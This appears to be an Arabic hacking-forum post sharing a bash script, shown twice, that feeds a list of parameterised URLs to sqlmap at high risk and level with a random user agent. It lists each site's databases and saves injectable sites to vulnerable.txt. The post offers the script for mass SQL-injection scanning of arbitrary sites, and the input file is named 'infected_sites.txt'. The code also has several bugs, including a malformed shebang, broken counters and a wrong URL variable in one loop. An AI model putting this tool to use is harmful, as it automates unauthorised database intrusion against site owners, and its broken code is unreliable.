مضى على الشبكة و يوم من العطاء.

سكربت bash من برمجتي لفحص Sql Injection auto يستخدم sqlmap

  • بادئ الموضوع بادئ الموضوع 0x2
  • تاريخ البدء تاريخ البدء

0x2

./عضو جديد

السمعة:

بسم الله الرحمن الرحيم

طريقة الاستخدام: bash name.sh file.txt

Bash:
#!bin/bash
red="\u001d[31m"

if [ -z $1 ]; then
    echo -e "${red} Using: $0 infected_sites.txt"
    exit

fi

# colors
green="\u001b[32m"
blue="\u001b[34m"
nc="\033[0m"

#counters
count=0
passd=0
numbers_site=(wc -l $1 | cut -d " " -f 1)
site=0

if [ ! -z $(command -v sqlmap) ]; then
# set -x
        echo -e "Found ${green}SqlMap $nc.........."
        echo -e "${green}The site is being checked .......${nc}"
    for i in $(cat $1); do
        Found=$(sqlmap -u "$i" --batch --risk=3 --dbs --level=3 --random-agent | grep "available databases ")

        if [[ $(echo $Found | cut -d " " -f 1) = "available"]]; then
            count=$((count + 1))
            site=$((site + 1))
            echo -e "${green}injured ${blue}" ${site}" =>${nc} ${i}"
            echo $i >> vulnerable.txt
        else
            site=$(site + 1)
            echo -e "${red}Not injured ${blue}" ${site}" >>${nc} ${i}"
            passd=$((passd + 1))
        fi
    done

    echo -e "\n ${blue}Total number of sites{blue} " ${numbers_site}
    echo -e "${blue} The number of infected sites ${green}" ${count}
    echo -e "${blue} The number of uninfected sites ${red}" ${passd}

else

    echo -ne "${blue} The ${green}sqlmap ${blue}tool is not present on your device as a basic tool Enter Path tool ${red} sqlmap: "
    read path

if [[ ! -z $(python "$path" -h 2> err)]]; then
    echo -e "${green}The site is being checked .....${nc}"

    for i in $(cat $1); do
        Found=$(python "$path" -u "-i" --dbs --batch --risk=3 --level=3 --random-agent | grep "available databases [*]:")

        if [[$(echo $Found | cut -d " " -f 1) = "available"]]; then
            count=$((count + 1))
            site=$((site + 1))
            echo -e "${green}injured ${blue}" ${site}" =>${nc} ${i}"
            echo $i >> vulnerable.txt
        else
            site=$(site + 1)
            echo -e "${red}Not injured ${blue}" ${site}" >>${nc} ${i}"
            passd=$((passd + 1))
        fi
    done
    echo -e "\n ${blue}Total number of sites{blue} " ${numbers_site}
    echo -e "${blue} The number of infected sites ${green}" ${count}
    echo -e "${blue} The number of uninfected sites ${red}" ${passd}
else
    echo -e "${red} The path you entered is not working !!"
    rm err
    exit

fi ; fi
 
التعديل الأخير بواسطة المشرف:
كود:
#!bin/bash
red="\u001d[31m"

if [ -z $1 ]; then
    echo -e "${red} Using: $0 infected_sites.txt"
    exit

fi

# colors
green="\u001b[32m"
blue="\u001b[34m"
nc="\033[0m"

#counters
count=0
passd=0
numbers_site=(wc -l $1 | cut -d " " -f 1)
site=0

if [ ! -z $(command -v sqlmap) ]; then
# set -x
        echo -e "Found ${green}SqlMap $nc.........."
        echo -e "${green}The site is being checked .......${nc}"
    for i in $(cat $1); do
        Found=$(sqlmap -u "$i" --batch --risk=3 --dbs --level=3 --random-agent | grep "available databases ")

        if [[ $(echo $Found | cut -d " " -f 1) = "available"]]; then
            count=$((count + 1))
            site=$((site + 1))
            echo -e "${green}injured ${blue}" ${site}" =>${nc} ${i}"
            echo $i >> vulnerable.txt
        else
            site=$(site + 1)
            echo -e "${red}Not injured ${blue}" ${site}" >>${nc} ${i}"
            passd=$((passd + 1))
        fi
    done

    echo -e "\n ${blue}Total number of sites{blue} " ${numbers_site}
    echo -e "${blue} The number of infected sites ${green}" ${count}
    echo -e "${blue} The number of uninfected sites ${red}" ${passd}

else

    echo -ne "${blue} The ${green}sqlmap ${blue}tool is not present on your device as a basic tool Enter Path tool ${red} sqlmap: "
    read path

if [[ ! -z $(python "$path" -h 2> err)]]; then
    echo -e "${green}The site is being checked .....${nc}"

    for i in $(cat $1); do
        Found=$(python "$path" -u "-i" --dbs --batch --risk=3 --level=3 --random-agent | grep "available databases [*]:")

        if [[$(echo $Found | cut -d " " -f 1) = "available"]]; then
            count=$((count + 1))
            site=$((site + 1))
            echo -e "${green}injured ${blue}" ${site}" =>${nc} ${i}"
            echo $i >> vulnerable.txt
        else
            site=$(site + 1)
            echo -e "${red}Not injured ${blue}" ${site}" >>${nc} ${i}"
            passd=$((passd + 1))
        fi
    done
    echo -e "\n ${blue}Total number of sites{blue} " ${numbers_site}
    echo -e "${blue} The number of infected sites ${green}" ${count}
    echo -e "${blue} The number of uninfected sites ${red}" ${passd}
else
    echo -e "${red} The path you entered is not working !!"
    rm err
    exit

fi ; fi

طريقه الاستخدام
bash name.sh file.txt
يوضع في الملف المراد فحصه url+parameter
 

آخر المشاركات

عودة
أعلى